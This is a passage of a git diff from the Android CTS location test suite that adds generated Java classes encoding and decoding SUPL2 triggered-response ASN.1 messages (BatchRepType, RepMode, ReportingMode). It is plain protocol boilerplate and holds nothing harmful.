+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_response;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Boolean;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class BatchRepType extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_BatchRepType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public BatchRepType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_BatchRepType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_BatchRepType != null) {
+ return ImmutableList.of(TAG_BatchRepType);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new BatchRepType from encoded stream.
+ */
+ public static BatchRepType fromPerUnaligned(byte[] encodedBytes) {
+ BatchRepType result = new BatchRepType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new BatchRepType from encoded stream.
+ */
+ public static BatchRepType fromPerAligned(byte[] encodedBytes) {
+ BatchRepType result = new BatchRepType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private BatchRepType.reportPositionType reportPosition_;
+ public BatchRepType.reportPositionType getReportPosition() {
+ return reportPosition_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BatchRepType.reportPositionType
+ */
+ public void setReportPosition(Asn1Object value) {
+ this.reportPosition_ = (BatchRepType.reportPositionType) value;
+ }
+ public BatchRepType.reportPositionType setReportPositionToNewInstance() {
+ reportPosition_ = new BatchRepType.reportPositionType();
+ return reportPosition_;
+ }
+
+ private BatchRepType.reportMeasurementsType reportMeasurements_;
+ public BatchRepType.reportMeasurementsType getReportMeasurements() {
+ return reportMeasurements_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BatchRepType.reportMeasurementsType
+ */
+ public void setReportMeasurements(Asn1Object value) {
+ this.reportMeasurements_ = (BatchRepType.reportMeasurementsType) value;
+ }
+ public BatchRepType.reportMeasurementsType setReportMeasurementsToNewInstance() {
+ reportMeasurements_ = new BatchRepType.reportMeasurementsType();
+ return reportMeasurements_;
+ }
+
+ private BatchRepType.intermediateReportsType intermediateReports_;
+ public BatchRepType.intermediateReportsType getIntermediateReports() {
+ return intermediateReports_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BatchRepType.intermediateReportsType
+ */
+ public void setIntermediateReports(Asn1Object value) {
+ this.intermediateReports_ = (BatchRepType.intermediateReportsType) value;
+ }
+ public BatchRepType.intermediateReportsType setIntermediateReportsToNewInstance() {
+ intermediateReports_ = new BatchRepType.intermediateReportsType();
+ return intermediateReports_;
+ }
+
+ private BatchRepType.discardOldestType discardOldest_;
+ public BatchRepType.discardOldestType getDiscardOldest() {
+ return discardOldest_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BatchRepType.discardOldestType
+ */
+ public void setDiscardOldest(Asn1Object value) {
+ this.discardOldest_ = (BatchRepType.discardOldestType) value;
+ }
+ public BatchRepType.discardOldestType setDiscardOldestToNewInstance() {
+ discardOldest_ = new BatchRepType.discardOldestType();
+ return discardOldest_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getReportPosition() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReportPosition();
+ }
+
+ @Override public void setToNewInstance() {
+ setReportPositionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepType.reportPositionType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reportPosition : "
+ + getReportPosition().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getReportMeasurements() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReportMeasurements();
+ }
+
+ @Override public void setToNewInstance() {
+ setReportMeasurementsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepType.reportMeasurementsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reportMeasurements : "
+ + getReportMeasurements().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getIntermediateReports() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getIntermediateReports();
+ }
+
+ @Override public void setToNewInstance() {
+ setIntermediateReportsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepType.intermediateReportsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "intermediateReports : "
+ + getIntermediateReports().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getDiscardOldest() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getDiscardOldest();
+ }
+
+ @Override public void setToNewInstance() {
+ setDiscardOldestToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepType.discardOldestType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "discardOldest : "
+ + getDiscardOldest().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class reportPositionType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_reportPositionType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public reportPositionType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_reportPositionType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_reportPositionType != null) {
+ return ImmutableList.of(TAG_reportPositionType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new reportPositionType from encoded stream.
+ */
+ public static reportPositionType fromPerUnaligned(byte[] encodedBytes) {
+ reportPositionType result = new reportPositionType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new reportPositionType from encoded stream.
+ */
+ public static reportPositionType fromPerAligned(byte[] encodedBytes) {
+ reportPositionType result = new reportPositionType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "reportPositionType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class reportMeasurementsType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_reportMeasurementsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public reportMeasurementsType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_reportMeasurementsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_reportMeasurementsType != null) {
+ return ImmutableList.of(TAG_reportMeasurementsType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new reportMeasurementsType from encoded stream.
+ */
+ public static reportMeasurementsType fromPerUnaligned(byte[] encodedBytes) {
+ reportMeasurementsType result = new reportMeasurementsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new reportMeasurementsType from encoded stream.
+ */
+ public static reportMeasurementsType fromPerAligned(byte[] encodedBytes) {
+ reportMeasurementsType result = new reportMeasurementsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "reportMeasurementsType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class intermediateReportsType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_intermediateReportsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public intermediateReportsType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_intermediateReportsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_intermediateReportsType != null) {
+ return ImmutableList.of(TAG_intermediateReportsType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new intermediateReportsType from encoded stream.
+ */
+ public static intermediateReportsType fromPerUnaligned(byte[] encodedBytes) {
+ intermediateReportsType result = new intermediateReportsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new intermediateReportsType from encoded stream.
+ */
+ public static intermediateReportsType fromPerAligned(byte[] encodedBytes) {
+ intermediateReportsType result = new intermediateReportsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "intermediateReportsType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class discardOldestType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_discardOldestType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public discardOldestType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_discardOldestType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_discardOldestType != null) {
+ return ImmutableList.of(TAG_discardOldestType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new discardOldestType from encoded stream.
+ */
+ public static discardOldestType fromPerUnaligned(byte[] encodedBytes) {
+ discardOldestType result = new discardOldestType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new discardOldestType from encoded stream.
+ */
+ public static discardOldestType fromPerAligned(byte[] encodedBytes) {
+ discardOldestType result = new discardOldestType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "discardOldestType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("BatchRepType = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/RepMode.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/RepMode.java
new file mode 100755
index 0000000..4eb1f0a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/RepMode.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_response;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RepMode extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ realtime(1),
+ quasirealtime(2),
+ batch(3),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_RepMode
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RepMode() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RepMode;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RepMode != null) {
+ return ImmutableList.of(TAG_RepMode);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new RepMode from encoded stream.
+ */
+ public static RepMode fromPerUnaligned(byte[] encodedBytes) {
+ RepMode result = new RepMode();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RepMode from encoded stream.
+ */
+ public static RepMode fromPerAligned(byte[] encodedBytes) {
+ RepMode result = new RepMode();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "RepMode = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/ReportingMode.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/ReportingMode.java
new file mode 100755
index 0000000..9da2259
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/ReportingMode.java
@@ -0,0 +1,344 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_response;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ReportingMode extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReportingMode
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReportingMode() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReportingMode;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReportingMode != null) {
+ return ImmutableList.of(TAG_ReportingMode);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReportingMode from encoded stream.
+ */
+ public static ReportingMode fromPerUnaligned(byte[] encodedBytes) {
+ ReportingMode result = new ReportingMode();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReportingMode from encoded stream.
+ */
+ public static ReportingMode fromPerAligned(byte[] encodedBytes) {
+ ReportingMode result = new ReportingMode();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private RepMode repMode_;
+ public RepMode getRepMode() {
+ return repMode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RepMode
+ */
+ public void setRepMode(Asn1Object value) {
+ this.repMode_ = (RepMode) value;
+ }
+ public RepMode setRepModeToNewInstance() {
+ repMode_ = new RepMode();
+ return repMode_;
+ }
+
+ private BatchRepConditions batchRepConditions_;
+ public BatchRepConditions getBatchRepConditions() {
+ return batchRepConditions_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BatchRepConditions
+ */
+ public void setBatchRepConditions(Asn1Object value) {
+ this.batchRepConditions_ = (BatchRepConditions) value;
+ }
+ public BatchRepConditions setBatchRepConditionsToNewInstance() {
+ batchRepConditions_ = new BatchRepConditions();
+ return batchRepConditions_;
+ }
+
+ private BatchRepType batchRepType_;
+ public BatchRepType getBatchRepType() {
+ return batchRepType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BatchRepType
+ */
+ public void setBatchRepType(Asn1Object value) {
+ this.batchRepType_ = (BatchRepType) value;
+ }
+ public BatchRepType setBatchRepTypeToNewInstance() {
+ batchRepType_ = new BatchRepType();
+ return batchRepType_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRepMode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRepMode();
+ }
+
+ @Override public void setToNewInstance() {
+ setRepModeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RepMode.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "repMode : "
+ + getRepMode().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBatchRepConditions() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBatchRepConditions();
+ }
+
+ @Override public void setToNewInstance() {
+ setBatchRepConditionsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepConditions.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "batchRepConditions : "
+ + getBatchRepConditions().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getBatchRepType() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBatchRepType();
+ }
+
+ @Override public void setToNewInstance() {
+ setBatchRepTypeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BatchRepType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "batchRepType : "
+ + getBatchRepType().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReportingMode = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/Ver2_SUPLTRIGGEREDRESPONSE.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/Ver2_SUPLTRIGGEREDRESPONSE.java
new file mode 100755
index 0000000..330dbd2
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_triggered_response/Ver2_SUPLTRIGGEREDRESPONSE.java
@@ -0,0 +1,712 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_triggered_response;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.supl_triggered_start.TriggerParams;
+import android.location.cts.asn1.supl2.ulp_components.PosMethod;
+import android.location.cts.asn1.supl2.ulp_components.SLPAddress;
+import android.location.cts.asn1.supl2.ver2_ulp_components.GNSSPosTechnology;
